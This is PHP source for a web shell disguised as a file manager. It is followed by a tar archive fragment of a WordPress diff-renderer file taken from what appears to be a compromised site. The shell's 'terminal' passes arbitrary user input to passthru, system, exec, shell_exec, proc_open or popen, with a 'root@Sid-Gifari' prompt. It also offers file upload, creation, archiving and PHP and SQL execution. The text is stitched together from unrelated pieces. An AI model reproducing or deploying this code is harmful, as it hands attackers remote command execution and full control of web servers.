	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       Renderer/inline.php.tar                                                                             0000644                 00000016000 15217306007 0011064 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
